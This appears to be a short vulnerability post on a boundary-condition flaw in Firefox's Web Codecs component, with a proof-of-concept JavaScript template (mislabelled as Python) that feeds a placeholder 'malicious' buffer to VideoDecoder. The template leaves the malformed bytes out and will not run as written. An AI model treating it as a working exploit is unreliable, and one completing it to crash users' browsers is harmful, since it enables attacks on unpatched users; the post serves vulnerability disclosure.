Incorrect boundary conditions in the Audio/Video: Web Codecs component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
/*
* PoC Concept for CVE-2026-4697
* Triggering boundary condition in Web Codecs API
*/
async function triggerCrash() {
try {
// Check if VideoDecoder is supported
if ('VideoDecoder' in window) {
console.log("VideoDecoder is supported. Attempting to trigger vulnerability...");
// NOTE: Actual exploit requires specific malformed media bytes (buffer)
// This is a structural template to demonstrate the API usage point.
const maliciousBuffer = new Uint8Array([0x00, 0x00, 0x01, ...]); // Placeholder for malformed data
const chunk = new EncodedVideoChunk({
type: 'key',
timestamp: 0,
data: maliciousBuffer
});
const decoder = new VideoDecoder({
output: (frame) => {
console.log("Frame decoded", frame);
},
error: (e) => {
console.error("Decoder error (expected behavior):", e);
}
});
decoder.configure({
codec: 'avc1.64001F', // Example codec, vulnerable codec may vary
codedWidth: 1920,
codedHeight: 1080
});
// Decoding the malformed chunk triggers the incorrect boundary condition
decoder.decode(chunk);
} else {
console.log("VideoDecoder not supported in this browser.");
}
} catch (error) {
console.log("Exception caught during PoC execution:", error);
}
}
triggerCrash();